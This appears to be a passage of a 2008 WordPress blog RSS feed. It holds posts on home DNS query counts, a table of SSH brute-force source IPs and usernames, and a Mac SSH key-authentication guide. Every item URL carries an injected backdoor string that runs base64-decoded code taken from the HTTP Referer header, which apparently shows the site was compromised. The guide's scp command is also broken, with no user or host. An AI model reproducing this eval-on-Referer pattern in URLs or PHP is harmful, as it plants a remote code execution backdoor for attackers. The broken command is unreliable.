<td>2315</td>
<td>&nbsp;</td>
<td>news.wapp.wii.com</td>
</tr>
<tr>
<td>1907</td>
<td>&nbsp;</td>
<td>www.symantec.com</td>
</tr>
<tr>
<td>1852</td>
<td>&nbsp;</td>
<td>ad.doubleclick.net</td>
</tr>
<tr>
<td>1612</td>
<td>&nbsp;</td>
<td>105.0.168.192.in-addr.arpa</td>
</tr>
<tr>
<td>1347</td>
<td>&nbsp;</td>
<td>cfh.wapp.wii.com</td>
</tr>
<tr>
<td>1320</td>
<td>&nbsp;</td>
<td>202-177-19-148.kdd.net.hk.jessecole.org</td>
</tr>
</table>
</pre>
<p><strong>O</strong>k, we can see we have several very popular sites.  The first is not quite what you’d expect, its time.apple.com.  You don’t think about it but every computer and device you own likely keeps itself synchronized with a time server.  Every time it goes to synchronize, it has to do a dns lookup.  Actually this number is a tad distorted by the fact that my router decided it should update its time 10 or 11 times a day, (thank you Dlink).  I actually got sick of it a made it use the ip address for time.apple.com instead of the hostname so hopefully that number won’t go up so much.</p>
<p><strong>T</strong>he next most popular query is for www.google.com.  No surprise there.  Every time you type in the website or use the search bar in your browser and possibly even just visiting certain websites will cause a query to be performed.</p>
<p><strong>T</strong>he most interesting out of all these though is the fact that, in my top 10 queries, 2 of them (ad.yieldmanager.com and ad.doubleclick.com) are well known ad servers.  What a waste of time and bandwidth that is.  In the future, i may start blocking queries to well known ad sites just to avoid giving them stats on us.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2008/01/17/dns-queries/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ssh attempts</title>
		<link>http://www.jessecole.org/2008/01/07/ssh-attempts/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2008/01/07/ssh-attempts/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 08 Jan 2008 01:57:10 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Interesting Tech Crap]]></category>

		<guid isPermaLink="false">http://www.jessecole.org/index.php/2008/01/07/ssh-attempts/</guid>
		<description><![CDATA[So. I run a server. And by that i mean i have a computer with many different services running on it that are accessible over a network. One of these services is ssh. Over the past few months while my computer has been exposed to the internet, i have received thousands of automated ssh login [...]]]></description>
			<content:encoded><![CDATA[<p>So.  I run a server.  And by that i mean i have a computer with many different services running on it that are accessible over a network.  One of these services is <a href="http://en.wikipedia.org/wiki/ssh" target="_blank" title="ssh">ssh</a>.  Over the past few months while my computer has been exposed to the internet, i have received thousands of automated ssh login attempts by people doing a dictionary attack trying common usernames and password.  I have decided to post some of the ip address and some of the more common usernames attempted.  The first column is number of attempts since Oct 28 06:47:05.</p>
<pre>
<table border="0" cellspacing="5">
<tbody>
<tr>
<td>1319</td>
<td>202.177.19.148</td>
<td width="15">&nbsp;</td>
<td>692</td>
<td>root</td>
</tr>
<tr>
<td>352</td>
<td>84.200.29.111</td>
<td>&nbsp;</td>
<td>81</td>
<td>admin</td>
</tr>
<tr>
<td>275</td>
<td>213.223.16.236</td>
<td>&nbsp;</td>
<td>79</td>
<td>test</td>
</tr>
<tr>
<td>168</td>
<td>211.53.78.104</td>
<td>&nbsp;</td>
<td>41</td>
<td>guest</td>
</tr>
<tr>
<td>156</td>
<td>208.100.6.172</td>
<td>&nbsp;</td>
<td>34</td>
<td>user</td>
</tr>
<tr>
<td>137</td>
<td>61.218.44.69</td>
<td>&nbsp;</td>
<td>27</td>
<td>clark</td>
</tr>
<tr>
<td>120</td>
<td>216.234.56.210</td>
<td>&nbsp;</td>
<td>23</td>
<td>oracle</td>
</tr>
<tr>
<td>105</td>
<td>205.206.124.18</td>
<td>&nbsp;</td>
<td>21</td>
<td>smith</td>
</tr>
<tr>
<td>104</td>
<td>209.189.91.8</td>
<td>&nbsp;</td>
<td>21</td>
<td>anderson</td>
</tr>
<tr>
<td>84</td>
<td>210.192.124.242</td>
<td>&nbsp;</td>
<td>19</td>
<td>staff</td>
</tr>
</tbody>
</table>
</pre>
<p>ps. For the love of god if you know how to format that so that both columns are next to each other, tell me!  I&#8217;ll give you a treat.  Really, it will happen.</p>
<p>*Update* I cheated and got a table to do what i want.  If anyone can tell me a better way please do.  The treat thing still stands.</p>
<p>*Update 2* Nevermind, i&#8217;ve decided i like the way looks.  After looking around a bit, it appears that there really isn&#8217;t a more elegant solution so i&#8217;m going to stick with it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2008/01/07/ssh-attempts/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ssh key-based authentication.</title>
		<link>http://www.jessecole.org/2007/08/20/ssh-key-based-authentication-wip/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.jessecole.org/2007/08/20/ssh-key-based-authentication-wip/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 21 Aug 2007 01:57:33 +0000</pubDate>
		<dc:creator>Jesse Cole</dc:creator>
				<category><![CDATA[Interesting Tech Crap]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://jesses-ubuntu-pc.local/?p=4</guid>
		<description><![CDATA[This is a guide for setting up key-based authentication on the mac. Key-based authentication is an alternative way of authenticating over ssh. Instead of a user name and password, you use a public/private key pair and authenticate this way. A user can optionally be specified as well. To begin you’ll need to open Terminal.app in [...]]]></description>
			<content:encoded><![CDATA[<p>This is a guide for setting up key-based authentication on the mac.</p>
<p>Key-based authentication is an alternative way of authenticating over ssh. Instead of a user name and password, you use a public/private key pair and authenticate this way. A user can optionally be specified as well.</p>
<p>To begin you’ll need to open Terminal.app in your Applications/Utilities folder.</p>
<p>Issue the following command into terminal:</p>
<pre>mkdir ~/.ssh</pre>
<p><span id="more-4"></span>This creates the necessary directory to hold your key.</p>
<p>Now navigate to the directory</p>
<pre>cd ~/.ssh</pre>
<p>In this directory issue the following command</p>
<pre>ssh-keygen</pre>
<p>Press enter at every prompt, you should see something similiar to this:</p>
<pre>Jesse-Coles-MacBookPro:~/.ssh a$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/Users/a/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /Users/a/.ssh/id_rsa.
Your public key has been saved in /Users/a/.ssh/id_rsa.pub.
The key fingerprint is:
66:e2:df:a0:09:dd:41:aa:4b:d4:6f:f3:22:b3:a2:b4 a@Jesse-Coles-MacBookPro.local</pre>
<p>The next step is to copy the public key to the remote machine. First though, the directory must be created.</p>
<p>Initiate an ssh connection to the remote machine.</p>
<pre>ssh user@host</pre>
<p>Enter your password like usual.</p>
<p>Next create the .ssh on the remote machine.</p>
<pre>mkdir ~/.ssh</pre>
<p>Now end the connection so you can copy the file to the remote machine.</p>
<pre>exit</pre>
<p>And copy the id_rsa.pub file to the remote machine</p>
<pre>scp id_rsa.pub @:~/.ssh/new.pub</pre>
<p>Notice i named the destiation file new.pub, this is so that if the destination machine already has key-based authentication already set up, you won’t overwrite its public key.</p>
<p>Now you need to initiate another ssh connection the the remote machine. This will be the last time you type your password for ssh.</p>
<pre>ssh user@host</pre>
<p>Now copy your public key to the users list of authorized keys</p>
<pre>cat ~/.ssh/new.pub &gt;&gt; ~/.ssh/authorized_keys
exit</pre>
<p>Your done!</p>
<p>From now on when you ssh to the remote machine, you will not be prompted for you password.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jessecole.org/2007/08/20/ssh-key-based-authentication-wip/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
